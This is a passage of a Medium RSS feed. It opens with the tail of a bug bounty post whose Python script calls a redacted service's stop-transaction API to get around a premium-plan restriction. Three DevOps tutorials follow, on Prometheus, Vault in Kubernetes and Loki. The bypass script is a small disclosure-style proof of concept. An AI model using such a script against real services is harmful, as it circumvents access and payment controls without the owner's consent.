login_tokens = requests.post(&#39;https://redacted.com/session&#39;, headers=login_headers, data=login_data, verify=False)<br>    token= login_tokens.json().get(&#39;token&#39;)<br>    print(&quot;Login Successful !&quot;)<br>except:<br>    raise Exception(&quot;Login Automation failed&quot;) <br><br>#Post request to stop endpoint.<br>payload_data= { &quot;Some json data to be posted to stop transaction&quot;}<br>update_ip_headers = headers_data(payload_data,False,token)<br>stop_transaction_response= requests.put(&#39;https://redacted.com/stop/transaction&#39;, headers=update_ip_headers, data=payload_data, verify=False)<br>print(&quot;Transaction stopped via API&quot;)</pre><p>Using this script, I was able to stop a transaction programmatically without the need to upgrade to a premium plan!</p><p>While the impact was not high for this application, you never know what you might come across :p . Hope this blog is useful for bug bounty hunters!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9ab746b67be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monitoring Container and Node Metrics Using Prometheus, cAdvisor and Node-Exporter]]></title>
            <link>https://arnavtripathy98.medium.com/monitoring-container-and-node-metrics-using-prometheus-cadvisor-and-node-exporter-90639aa98fab?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/90639aa98fab</guid>
            <category><![CDATA[monitoring-tools]]></category>
            <category><![CDATA[containers]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[prometheus]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Sun, 24 Jul 2022 15:21:57 GMT</pubDate>
            <atom:updated>2022-07-24T15:21:57.325Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oH5DYJoo4NFzT6hdy8OQ7g.png" /><figcaption>Prometheus</figcaption></figure><p>Prometheus is one of the best open source tools out there to monitor aggregated metrics related to servers . There’s a misconception that it is a standalone tool which pulls all metrics related to a server but in reality it performs querying and aggregation of metrics while tools like cAdvisor and Node-exporter pull the metrics and push the metrics to prom. Usually this is followed by exporting data to grafana for visualistion and more visibility of the data collected. Let’s deep dive into setting everything up. We shall be using only docker-compose files to setup services because it’s just so much easier to setup stuff using docker.</p><p>Let’s assume there’s a server which has a few containers running and we want to monitor that server for container and node metrics. Node exporter is the tool you would setup in the server to pull node metrics . Docker-compose is given below:</p><pre>version: &#39;3.8&#39;</pre><pre>networks:<br>  monitoring:<br>    driver: bridge</pre><pre>services:<br>  node-exporter:<br>   image: prom/node-exporter:latest<br>   container_name: node-exporter<br>   restart: unless-stopped<br>   volumes:<br>   - /proc:/host/proc:ro<br>   - /sys:/host/sys:ro<br>   - /:/rootfs:ro<br>   command:<br>   -&#39;- path.procfs=/host/proc&#39;<br>   -&#39;- path.rootfs=/rootfs&#39;<br>   -&#39;— path.sysfs=/host/sys&#39;<br>   -&#39;-collector.filesystem.mount-points-    exclude=^/(sys|proc|dev|host|etc)($$|/)&#39;<br>   expose:<br>   - 9100<br>   networks:<br>   - monitoring</pre><p>Certain volumes would be mounted in order for node exporter to collect node metrics. For deploying cAdvisor, use the below docker-compose:</p><pre>version: &#39;3.8&#39;</pre><pre>networks:<br>  monitoring:<br>    driver: bridge</pre><pre>services:<br>    cadvisor:<br>    image: gcr.io/cadvisor/cadvisor:latest<br>    container_name: cadvisor<br>    ports:<br>    - 8080:8080<br>    volumes:<br>    - /:/rootfs:ro<br>    - /var/run:/var/run:rw<br>    - /sys:/sys:ro<br>    - /var/lib/docker/:/var/lib/docker:ro</pre><p>Next let’s setup prometheus . First let’s setup the initial config of prometheus to point it towards cAdvisor and node-exporter:</p><pre>global:<br> scrape_interval: 1m</pre><pre>scrape_configs:<br> - job_name: “prometheus”<br>   scrape_interval: 1m<br>   static_configs:<br>   - targets: [“localhost:9090”]<br> - job_name: cadvisor<br>   scrape_interval: 5s<br>   static_configs:<br>   - targets:<br>     - (IP of cAdvisor node):8080<br> - job_name: “node”<br>   static_configs:<br>   - targets: [&quot;(IP of node exporter node):9100&quot;]</pre><p>Save the file as prometheus.yml . This will be used to mount into the prometheus container while deploying. Prometheus and grafana docker-compose is as below:</p><pre>version: &#39;3.8&#39;</pre><pre>networks:<br>  monitoring:<br>    driver: bridge</pre><pre>volumes:<br>  prometheus_data: {}</pre><pre>services:</pre><pre>  prometheus:<br>    image: prom/prometheus:latest<br>    container_name: prometheus<br>    restart: always<br>    volumes:<br>      - ./prometheus.yml:/etc/prometheus/prometheus.yml<br>      - prometheus_data:/prometheus<br>    command:<br>      - &#39;--config.file=/etc/prometheus/prometheus.yml&#39;<br>      - &#39;--storage.tsdb.path=/prometheus&#39;<br>      - &#39;--web.console.libraries=/etc/prometheus/console_libraries&#39;<br>      - &#39;--web.console.templates=/etc/prometheus/consoles&#39;<br>      - &#39;--web.enable-lifecycle&#39;<br>    expose:<br>      - 9090<br>    networks:<br>      - monitoring</pre><pre>  grafana:<br>    image: grafana/grafana:latest<br>    restart: always<br>    ports:<br>      - &quot;0.0.0.0:3000:3000&quot;<br>    networks:<br>      - monitoring</pre><p>Once we bring this up, we can see all the metrics and visualisations in the grafana dashboard.</p><p>Hope this helps :) I also wrote a blog with how we can use similar strategies to use loki <a href="https://blog.devops.dev/leveraging-loki-to-proactively-monitor-microservices-ef90ea985479">here</a> . While in Kubernetes , all of this can be deployed easily using helm charts, there needs to be done some manual work while doing it for standalone nodes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90639aa98fab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Vault in Kubernetes Production for Security Engineers]]></title>
            <link>https://blog.devops.dev/using-vault-in-kubernetes-production-for-security-engineers-54d2f0aca4d1?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/54d2f0aca4d1</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[hashicorp-vault]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devsecops]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Mon, 13 Jun 2022 17:18:07 GMT</pubDate>
            <atom:updated>2022-12-21T07:56:23.849Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*1VDqulzFMsQdMTW6PDXl0A.png" /><figcaption>Hashicorp Vault!</figcaption></figure><p>Developers work with secrets all the time. These secrets can contain critical information such as ranging from internal IP addresses to sensitive usernames and passwords. It is extremely important to manage secrets and make sure that a secure way of using this is implemented. There are many such secret management offerings by cloud providers. Here we take up Hashicorp Vault , an open source secret management system and leverage it to inject secrets into our kubernetes pods.</p><blockquote><strong>Installation and Setting Up the Environment</strong></blockquote><p>Our example will be very similar to the one which Hashicorp Vault already provides with a few tweaks here and there. All referral links shall be provide below:)</p><p>We would be using minikube as our kubernetes cluster and deploy vault in production mode(not dev mode) as a container . Don’t worry, we will apply persistence wherever needed so that data won’t be lost.</p><p>To install minikube and kubectl, please refer <a href="https://kubernetes.io/docs/tasks/tools/">here</a>. Once that’s installed, we can go with deploying vault in production mode by using the below docker-compose file.</p><pre>version: ‘3’<br>services:<br>  vault:<br>   image: vault:latest<br>   volumes:<br>   - ./vault/config:/vault/config<br>   - ./vault/policies:/vault/policies<br>   - ./vault/data:/vault/data<br>   ports:<br>   - 8200:8200<br>   environment:<br>   - VAULT_ADDR=<a href="http://0.0.0.0:8200/">http://0.0.0.0:8200</a><br>   - VAULT_API_ADDR=<a href="http://0.0.0.0:8200/">http://0.0.0.0:8200</a><br>   - VAULT_ADDRESS=<a href="http://0.0.0.0:8200/">http://0.0.0.0:8200</a><br>   cap_add:<br>   - IPC_LOCK<br>   command: vault server -config=/vault/config/vault.hcl</pre><p>As we can see from above, we need to have a vault directory available . In the vault config we need to have a hcl file ready as well . That will be the vault initializer file.</p><pre>&quot;backend&quot; &quot;file&quot; {<br>&quot;path&quot; = &quot;/vault/file&quot;<br>}<br>listener &quot;tcp&quot; {<br>address = &quot;0.0.0.0:8200&quot;<br>tls_disable = &quot;true&quot;<br>}<br>api_addr = &quot;<a href="http://127.0.0.1:8200/">http://127.0.0.1:8200</a>&quot;<br>cluster_addr = &quot;<a href="https://127.0.0.1:8201/">https://127.0.0.1:8201</a>&quot;<br>ui = true</pre><p>Now you can bring up the vault server using docker-compose. Once the vault container is well and truly working, you can exec into the container to initialize vault.</p><pre>vault operator init</pre><p>This will output out 5 keys and root token required to unseal and get started with vault. By default Vault will be sealed and you will have to unseal it. To unseal it use the command</p><pre>vault operator unseal</pre><p>Then put in the key. Repeat it for 3 times. You should get a sealed false value. Now login with the root token using the command.</p><pre>vault login</pre><p>After putting in the token, you are now logged in vault as root. Your vault is now ready for use in production!</p><blockquote><strong>Putting Secrets and Enabling Policies for Secret Access</strong></blockquote><p>Now that vault is ready for use. Let us enable key vaule (kv)secrets engine at a path.</p><pre>vault secrets enable --version=2 --path secret kv</pre><p>This would enable storing data at a path called secrets. Please note that the path name is completely your choice. Normally different paths are just for convention purposes.</p><p>Now let us put a secret in a path.</p><pre>vault kv put secret/devwebapp/config username=&#39;giraffe&#39; password=&#39;salsa&#39;</pre><p>You can check out the secret using the command.</p><pre>vault kv get --format=json secret/devwebapp/config </pre><p>Let us add a policy to it as well for authorization purposes.</p><pre>vault policy write devwebapp — &lt;&lt;EOF<br>path &quot;secret/data/devwebapp/config&quot; {<br> capabilities = [&quot;read&quot;]<br>}<br>EOF</pre><p>You can add many more capabilities besides just read. But what do with a policy right? We shall bind a policy to a role and that role shall be referenced by the kubernetes pods to make API calls to vault. Let us see how to do it next!</p><blockquote><strong>Connecting our External Vault to the Kubernetes Cluster</strong></blockquote><p>We need to install the vault helm chart to our namespace where workloads will need to refer secrets. Let us see how we can do it from below:</p><pre>helm repo add hashicorp <a href="https://helm.releases.hashicorp.com/">https://helm.releases.hashicorp.com</a><br>helm repo update<br>helm install vault hashicorp/vault \<br>--set &quot;injector.externalVaultAddr=<a href="http://external-vault:8200/">http://external-vault:8200</a>&quot;</pre><p><em>(It goes without saying that helm needs to be installed and your vault server and minikube cluster should be able to reach each other. Replace the vault address with the vault IP or domain you are using)</em></p><p>Now in the vault container, enable kubernetes authentication with the below command.</p><pre>vault auth enable kubernetes</pre><p>We need to retrieve some metadata of the minikube cluster and pass on the parameters into the vault service. Let’s do that with the following commands:</p><pre>VAULT_HELM_SECRET_NAME=$(kubectl get secrets --output=json | jq -r &#39;.items[].metadata | select(.name|startswith(&quot;vault-token-&quot;)).name&#39;)</pre><pre>TOKEN_REVIEW_JWT=$(kubectl get secret $VAULT_HELM_SECRET_NAME --output=&#39;go-template={{ .data.token }}&#39; | base64 --decode)</pre><pre>KUBE_CA_CERT=$(kubectl config view --raw --minify --flatten --output=&#39;jsonpath={.clusters[].cluster.certificate-authority-data}&#39; | base64 --decode)</pre><pre>KUBE_HOST=$(kubectl config view --raw  --minify --flatten --output=&#39;jsonpath={.clusters[].cluster.server}&#39;)</pre><p><em>(Note: It is assumed that the workloads are deployed in default namespace. Also in next step, I have the copied the bash variable values into my container)</em></p><p>In the vault container, let us plug in the above retrieved data and create a kubernetes authentication config</p><pre>vault write auth/kubernetes/config \<br> token_reviewer_jwt=&quot;$TOKEN_REVIEW_JWT&quot; \<br> kubernetes_host=&quot;$KUBE_HOST&quot; \<br> kubernetes_ca_cert=&quot;$KUBE_CA_CERT&quot; \<br> issuer=&quot;<a href="https://kubernetes.default.svc.cluster.local/">https://kubernetes.default.svc.cluster.local</a>&quot;</pre><p>Sometimes the CA_CERT might not be in a proper format. In that case, retrive the CA_CERT as a file , store the file in the container and run the config command as</p><pre>vault write auth/kubernetes/config \<br>token_reviewer_jwt=&quot;$TOKEN_REVIEW_JWT&quot; \<br>kubernetes_host=&quot;$KUBE_HOST&quot; \<br>kubernetes_ca_cert=@ca.cert \<br>issuer=”https://kubernetes.default.svc.cluster.local&quot;</pre><p>Do have a service account created</p><pre>kubectl create sa internal-app</pre><p>Finally create a kubernetes role and associate with the service account:</p><pre>vault write auth/kubernetes/role/devweb-app \<br> bound_service_account_names=internal-app \<br> bound_service_account_namespaces=default \<br> policies=devwebapp \<br> ttl=24h</pre><blockquote><strong>Injecting the Secrets in a Pod</strong></blockquote><p>Finally create a sample pod of yaml config as given below:</p><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: devwebapp<br>  labels:<br>    app: devwebapp<br>  annotations:<br>    vault.hashicorp.com/agent-inject: &#39;true&#39;<br>    vault.hashicorp.com/role: &#39;devweb-app&#39;<br>    vault.hashicorp.com/agent-inject-secret-credentials.txt: &#39;secret/data/devwebapp/config&#39;<br>spec:<br>  serviceAccountName: internal-app<br>  containers:<br>    - name: app<br>      image: burtlo/devwebapp-ruby:k8s</pre><p>Do try to understand the yaml file for a bit. Most of the part is self explanatory, but if you observe in the annotation</p><pre>vault.hashicorp.com/agent-inject-secret-credentials.txt: &#39;secret/data/devwebapp/config&#39;</pre><p>The ‘credentials.txt’ specifies the path name where secrets will be mounted in the pod. So vault would mount the secrets in the path of /vault/secrets in the pod. As per the annotation,it would mount at /vault/secrets/credentials.txt in the pod . But if you check out the file, it would mount the secrets in an unformatted way. To inject it in a formatted way, you can use a template provided by Hashicorp. Here’s a sample template config annotation I have written to format the secret data:</p><pre>annotations:<br>        vault.hashicorp.com/agent-inject: &#39;true&#39;<br>        vault.hashicorp.com/role: &#39;devweb-app&#39;<br>        vault.hashicorp.com/agent-inject-secret-config: &#39;secrets/data/devwebapp/config&#39;<br>        vault.hashicorp.com/agent-inject-template-config: |<br>          {{ with secret &quot;secrets/data/devwebapp/config&quot; -}}</pre><pre>{{- range $key, $value := .Data.data }}<br>          {{ $key }}={{ $value }}</pre><pre>{{- end }}<br>          {{- end }}<br></pre><p>This would store the data at /vault/secrets/config as:</p><pre>username=’giraffe’<br>password=’salsa’</pre><p>This format of data can be used by developers to inject in code . You can explore more at the end of the blog where I provide reference links.</p><p>That’s it for now, please reach out to me if you have any doubts :) Also would recommend to explore Vault a little bit , you’ll be surprised how much more can be done!</p><p>Referral Links:</p><ul><li><a href="https://learn.hashicorp.com/tutorials/vault/getting-started-deploy">Deploy Vault | Vault - HashiCorp Learn</a></li><li><a href="https://learn.hashicorp.com/tutorials/vault/kubernetes-external-vault?in=vault/kubernetes">Integrate a Kubernetes Cluster with an External Vault | Vault - HashiCorp Learn</a></li><li><a href="https://www.vaultproject.io/docs/secrets/kv/kv-v2">KV - Secrets Engines | Vault by HashiCorp</a></li><li><a href="https://www.vaultproject.io/docs/platform/k8s/injector/examples">Vault Agent Sidecar Injector Examples | Vault by HashiCorp</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54d2f0aca4d1" width="1" height="1" alt=""><hr><p><a href="https://blog.devops.dev/using-vault-in-kubernetes-production-for-security-engineers-54d2f0aca4d1">Using Vault in Kubernetes Production for Security Engineers</a> was originally published in <a href="https://blog.devops.dev/">DevOps.dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leveraging  Loki to Proactively Monitor Microservices]]></title>
            <link>https://blog.devops.dev/leveraging-loki-to-proactively-monitor-microservices-ef90ea985479?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef90ea985479</guid>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Wed, 18 May 2022 16:55:10 GMT</pubDate>
            <atom:updated>2022-06-24T11:00:29.907Z</atom:updated>
            <content:encoded><![CDATA[<h3>Leveraging Loki to Proactively Monitor Microservices</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*xTK0sBSB3H2O5XaziGvQmQ.jpeg" /><figcaption>Grafana Loki!</figcaption></figure><p>Loki is a widely used tool for monitoring pods and containers. Loki is actually just the aggregator as the logs are pushed to grafana and there we can take it further with grafana’s visualisation capabalities. The use cases ranges from developers wanting to visualise logs as the application is being tested to threat hunters setting up alerts (blog coming up soon!) for potential cyber attacks. However setting up loki can be a little tough and tricky . This blog attempts to showcase all the steps you would need to follow to setup such an environment. The environment is an linux instance where we are assuming we are deploying a few microservices . These could be for development or honeytraps depending on the use case . Steps are simple to follow: -</p><ul><li>First create a docker-compose.yml file with the below content:-</li></ul><pre>version: &quot;3&quot;<br>networks:<br>  loki:<br>services:<br>  loki:<br>    image: grafana/loki:2.5.0<br>    restart: always<br>    ports:<br>      - &quot;3100:3100&quot;<br>    command: -config.file=/etc/loki/local-config.yaml<br>    volumes:<br>      - /opt/loki/loki_data:/loki/wal # Can change this as per needed<br>    networks:<br>      - loki<br>  promtail:<br>    image: grafana/promtail:2.5.0<br>    restart: always<br>    volumes:<br>      - /var/log:/var/log<br>    command: -config.file=/etc/promtail/config.yml<br>    networks:<br>      - loki<br>  grafana:<br>    image: grafana/grafana:latest<br>    restart: always<br>    ports:<br>      - &quot;0.0.0.0:3000:3000&quot;<br>    volumes:<br>      - /opt/loki/grafana_data:/var/lib/grafana # Can change this as per needed<br>    networks:<br>      - loki</pre><p>As observed , I am using 3 containers here namely loki,promtail and grafana. Promtail is used to ship logs to loki . 2 volumes have been mounted in grafana and loki so that we can persist log data and grafana configs across restarts. It is recommended to use something like AWS EBS volumes to mount those paths so that data can be persisted for a long time .</p><p>This was the docker compose file which will set up all the required software. But before deploying this few things have to be configured. Below is a bash script which can be used to configure those pre-requisites and run the docker-compose file too:-</p><pre>#!/bin/bash<br><br>sudo docker plugin install grafana/loki-docker-driver:latest --alias loki --grant-all-permissions<br>sudo mkdir /opt/loki<br>sudo mkdir /opt/loki/loki_data <br>sudo mkdir /opt/loki/grafana_data <br>sudo chown -R 10001:10001 /opt/loki/loki_data #Directory perm for loki<br>sudo chown -R 472:472 /opt/loki/grafana_data/ #Directory perm for grafana<br>sudo docker-compose up -d</pre><p>Here we are first installing the loki driver plugin for docker so that docker can find loki. The rest of the code is all about setting up the persistent volumes as per the id of the user in loki and grafana containers respectively. Finally I can run the docker-compose command to run the containers. You can navigate to port 3000 of the IP . Login with admin/admin , change the password and add loki as data source. Loki url source will be <a href="http://loki:3100.">http://loki:3100.</a> Rest assured this will be a one time thing as the volumes have been set up.</p><p>Now this is not the end. In order for loki to collect logs, the container needs to push the logs to loki driver. This we can do by adding a section in docker compose of the service. As an example , I have deployed a nginx service and indicated where the logging section needs to be added below:-</p><pre>version: &quot;3.4&quot;<br><br>services:<br>  my-nginx-service:<br>    image: nginx<br>    container_name: my-nginx-service<br>    ports:<br>      - 8000:80<br>    <strong>#This section needs to be added to log <br>    logging:   <br>      driver: loki<br>      options:<br>        loki-url: http://localhost:3100/loki/api/v1/push</strong></pre><p>So in future while adding any microservice , just add that section and that container will be monitored.</p><p>That’s all! Hope it helps fellow engineers to log microservices in an easy way.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef90ea985479" width="1" height="1" alt=""><hr><p><a href="https://blog.devops.dev/leveraging-loki-to-proactively-monitor-microservices-ef90ea985479">Leveraging  Loki to Proactively Monitor Microservices</a> was originally published in <a href="https://blog.devops.dev/">DevOps.dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>